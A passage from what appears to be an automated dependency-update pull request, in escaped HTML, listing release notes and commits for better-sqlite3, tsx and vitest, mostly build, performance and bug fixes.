releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev12.11.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Electron v42 build errors on Windows by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1488\"\u003eWiseLibs/better-sqlite3#1488\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.11.0...v12.11.1\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.11.0...v12.11.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.11.0\u003c/h2\u003e\n\u003ch2\u003e⚠️CAUTION: NOT A VIABLE RELEASE\u003c/h2\u003e\n\u003cp\u003eUse \u003ccode\u003ev12.11.1\u003c/code\u003e instead.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd missing Electron v42 build target by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1486\"\u003eWiseLibs/better-sqlite3#1486\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.10.1...v12.11.0\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.10.1...v12.11.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.10.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBump the github-actions group across 1 directory with 4 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1451\"\u003eWiseLibs/better-sqlite3#1451\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix V8 external API usage for Electron 42 by \u003ca href=\"https://github.com/tstone-1\"\u003e\u003ccode\u003e@​tstone-1\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1475\"\u003eWiseLibs/better-sqlite3#1475\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.10.0...v12.10.1\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.10.0...v12.10.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.10.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate SQLite to version 3.53.1 by \u003ca href=\"https://github.com/JoshuaWise\"\u003e\u003ccode\u003e@​JoshuaWise\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1467\"\u003eWiseLibs/better-sqlite3#1467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Node.js v26 prebuilds and remove EOL builds (Node.js v20, v23) by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1468\"\u003eWiseLibs/better-sqlite3#1468\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTemporarily rollback support for Electron v42 prebuilds by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1470\"\u003eWiseLibs/better-sqlite3#1470\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable percentile functions by \u003ca href=\"https://github.com/Maxime-J\"\u003e\u003ccode\u003e@​Maxime-J\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1447\"\u003eWiseLibs/better-sqlite3#1447\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.9.1...v12.10.0\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.9.1...v12.10.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev12.9.1\u003c/h2\u003e\n\u003ch2\u003e⚠️CAUTION: NOT A VIABLE RELEASE\u003c/h2\u003e\n\u003cp\u003eElectron v39+ prebuilds are not building successfully at the moment. Stick to \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/releases/tag/v12.9.0\"\u003ev12.9.0\u003c/a\u003e for now.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable percentile functions by \u003ca href=\"https://github.com/Maxime-J\"\u003e\u003ccode\u003e@​Maxime-J\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1447\"\u003eWiseLibs/better-sqlite3#1447\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for electron v42 prebuilds by \u003ca href=\"https://github.com/m4heshd\"\u003e\u003ccode\u003e@​m4heshd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1466\"\u003eWiseLibs/better-sqlite3#1466\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maxime-J\"\u003e\u003ccode\u003e@​Maxime-J\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/pull/1447\"\u003eWiseLibs/better-sqlite3#1447\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.9.0...v12.9.1\"\u003ehttps://github.com/WiseLibs/better-sqlite3/compare/v12.9.0...v12.9.1\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/4cbc39ca582fecb6b51dd920dfdd338ba4b72230\"\u003e\u003ccode\u003e4cbc39c\u003c/code\u003e\u003c/a\u003e 12.11.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/02b743fbde3f0d7dee70227326671a91999a75c4\"\u003e\u003ccode\u003e02b743f\u003c/code\u003e\u003c/a\u003e Fix Electron v42 build errors on Windows (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1488\"\u003e#1488\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/39a6e55314159043eeae458b335e845bc2b6faf7\"\u003e\u003ccode\u003e39a6e55\u003c/code\u003e\u003c/a\u003e 12.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/f36d8c686b1d07cd27d185fed68c1f16e325c657\"\u003e\u003ccode\u003ef36d8c6\u003c/code\u003e\u003c/a\u003e Add missing Electron v42 build target (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1486\"\u003e#1486\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/da6152c5d23a4dd7676b2b95cd0e506b819a8652\"\u003e\u003ccode\u003eda6152c\u003c/code\u003e\u003c/a\u003e 12.10.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/5bb63a2f4c5aa34de2c292b983d2b6c4fcfc6f94\"\u003e\u003ccode\u003e5bb63a2\u003c/code\u003e\u003c/a\u003e Fix V8 external API usage for Electron 42 (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1475\"\u003e#1475\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/ca60e36e2545a5f970a8056edeed08572a76b890\"\u003e\u003ccode\u003eca60e36\u003c/code\u003e\u003c/a\u003e Bump the github-actions group across 1 directory with 4 updates (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1451\"\u003e#1451\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/f93f490cdd51731271534ad470d09dfd7388c6f1\"\u003e\u003ccode\u003ef93f490\u003c/code\u003e\u003c/a\u003e Update SQLite to version 3.53.2 (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1483\"\u003e#1483\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/d8885f900cb626596e28a0ecd1b9d35bf15c7a0b\"\u003e\u003ccode\u003ed8885f9\u003c/code\u003e\u003c/a\u003e 12.10.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WiseLibs/better-sqlite3/commit/3f8932492960b9119dbbe0317d86cbad8ced132f\"\u003e\u003ccode\u003e3f89324\u003c/code\u003e\u003c/a\u003e Temporarily rollback support for Electron v42 prebuilds (\u003ca href=\"https://redirect.github.com/WiseLibs/better-sqlite3/issues/1470\"\u003e#1470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/WiseLibs/better-sqlite3/compare/v12.8.0...v12.11.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsx` from 4.21.0 to 4.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/privatenumber/tsx/releases\"\u003etsx's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.23.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.0...v4.23.1\"\u003e4.23.1\u003c/a\u003e (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport tsImport after global preload (\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e8d4ffc2\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e avoid clearing piped output (\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e95d0672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e treat script and dependency paths literally (\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e79fddde\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eindex transform cache lazily (\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003ee818ad6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eload esbuild lazily in CLI (\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003ed067938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emap Node TypeScript formats directly (\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003ecdcc623\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse sync module hooks on Node v22.22.3+ (\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003ef8992f1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.1\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.23.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.22.5...v4.23.0\"\u003e4.23.0\u003c/a\u003e (2026-07-03)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid redundant filesystem probes during module resolution (\u003ca href=\"https://github.com/privatenumber/tsx/commit/257bbbb7eb2784cad6a3bb7a2d9c9747d28d96ec\"\u003e257bbbb\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003eprivatenumber/tsx#809\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd multi-scenario startup benchmark suite (\u003ca href=\"https://github.com/privatenumber/tsx/commit/c178197b104d055fd3431f7448982f3156394d12\"\u003ec178197\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003eprivatenumber/tsx#809\u003c/a\u003e \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003e#809\u003c/a\u003e \u003ca href=\"https://github.com/hi/issues/signal\"\u003ehi#signal\u003c/a\u003e \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/145\"\u003eprivatenumber/tsx#145\u003c/a\u003e \u003ca href=\"https://redirect.github.com/privatenumber/tsx/issues/809\"\u003e#809\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.0\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.22.5\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.22.4...v4.22.5\"\u003e4.22.5\u003c/a\u003e (2026-07-02)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eisolate hook state per async module.register() registration (\u003ca href=\"https://github.com/privatenumber/tsx/commit/a305f365f0cbcc31a44549dcbb0e63dc2883e96d\"\u003ea305f36\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.22.5\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e\u003ccode\u003e79fddde\u003c/code\u003e\u003c/a\u003e fix(watch): treat script and dependency paths literally\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003e\u003ccode\u003ee818ad6\u003c/code\u003e\u003c/a\u003e perf: index transform cache lazily\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003e\u003ccode\u003ecdcc623\u003c/code\u003e\u003c/a\u003e perf: map Node TypeScript formats directly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003e\u003ccode\u003ed067938\u003c/code\u003e\u003c/a\u003e perf: load esbuild lazily in CLI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e\u003ccode\u003e95d0672\u003c/code\u003e\u003c/a\u003e fix(watch): avoid clearing piped output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/6fd4607e8a99d1efe27f185f749c659138f00ece\"\u003e\u003ccode\u003e6fd4607\u003c/code\u003e\u003c/a\u003e docs: add per-page metadata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f4176d8c6329a12205ed9b8c582e559cafc45018\"\u003e\u003ccode\u003ef4176d8\u003c/code\u003e\u003c/a\u003e docs: generate sitemap\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e\u003ccode\u003e8d4ffc2\u003c/code\u003e\u003c/a\u003e fix: support tsImport after global preload\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f0e89b244c98849dc5f9483fa33aaaf983ede18f\"\u003e\u003ccode\u003ef0e89b2\u003c/code\u003e\u003c/a\u003e docs: document Node's public type-stripping API vs internal loader path\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003e\u003ccode\u003ef8992f1\u003c/code\u003e\u003c/a\u003e perf: use sync module hooks on Node v22.22.3+\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.21.0...v4.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for tsx since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 4.1.4 to 4.1.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.10\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10680\"\u003evitest-dev/vitest#10680\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5c18dd267\"\u003e\u003c!-- raw HTML omitted --\u003e(5c18d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evm\u003c/strong\u003e: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by \u003ca href=\"https://github.com/SveLil\"\u003e\u003ccode\u003e@​SveLil\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10661\"\u003evitest-dev/vitest#10661\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b511\"\u003e\u003c!-- raw HTML omitted --\u003e(bae52)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.9...v4.1.10\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.9\u003c/h2\u003e\n\u003ch3\u003e🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eDavid Harris\u003c/strong\u003e, \u003cstrong\u003eCodex\u003c/strong\u003eand \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10546\"\u003evitest-dev/vitest#10546\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c\"\u003e\u003c!-- raw HTML omitted --\u003e(a5180)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eWait for orchestrator readiness before resolving browser sessions [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10555\"\u003evitest-dev/vitest#10555\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651a\"\u003e\u003c!-- raw HTML omitted --\u003e(7fb29)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait for iframe tester readiness before preparing  [backport to v4] - by \u003cstrong\u003eVladimir\u003c/strong\u003e and \u003cstrong\u003eSéamus O'Connor\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10497\"\u003evitest-dev/vitest#10497\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10556\"\u003evitest-dev/vitest#10556\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fbc626c40\"\u003e\u003c!-- raw HTML omitted --\u003e(fbc62)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eHoist vi.mock() for vite-plus/test imports [backport to v4] - by \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e, \u003cstrong\u003eLongYinan\u003c/strong\u003e, \u003cstrong\u003eClaude Opus 4.8\u003c/strong\u003e and \u003cstrong\u003eVladimir\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10548\"\u003evitest-dev/vitest#10548\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2c9559c02\"\u003e\u003c!-- raw HTML omitted --\u003e(2c955)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epool\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePrevent test run hang on worker crash  [backport to v4] - by \u003cstrong\u003eAri Perkkiö\u003c/strong\u003e and \u003cstrong\u003eJattioui Ismail\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10543\"\u003evitest-dev/vitest#10543\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.8\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eDisable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [backport to v4]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10450\"\u003evitest-dev/vitest#10450\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e4067b3b1\"\u003e\u003c!-- raw HTML omitted --\u003e(e4067)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove orphaned Playwright route when same module is mocked via multiple ids [backport to v4]  -  by \u003ca href=\"https://github.com/toxik\"\u003e\u003ccode\u003e@​toxik\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/Zelys-DFKH\"\u003e\u003ccode\u003e@​Zelys-DFKH\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10474\"\u003evitest-dev/vitest#10474\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/675b4343f\"\u003e\u003c!-- raw HTML omitted --\u003e(675b4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.7...v4.1.8\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.7\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erunner\u003c/strong\u003e: Limit concurrency per task branch in addition to per leaf callbacks (backport)  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10384\"\u003evitest-dev/vitest#10384\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f0f2a1ee\"\u003e\u003c!-- raw HTML omitted --\u003e(4f0f2)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.6...v4.1.7\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.6\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Provide project reference in \u003ccode\u003eToMatchScreenshotResolvePath\u003c/code\u003e  -  by \u003ca href=\"https://github.com/macarie\"\u003e\u003ccode\u003e@​macarie\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10138\"\u003evitest-dev/vitest#10138\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/31882607c\"\u003e\u003c!-- raw HTML omitted --\u003e(31882)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGlobal \u003ccode\u003esequence.concurrent: true\u003c/code\u003e with top-level \u003ccode\u003etest(..., { concurrent: false })\u003c/code\u003e + depreacte \u003ccode\u003esequential\u003c/code\u003e 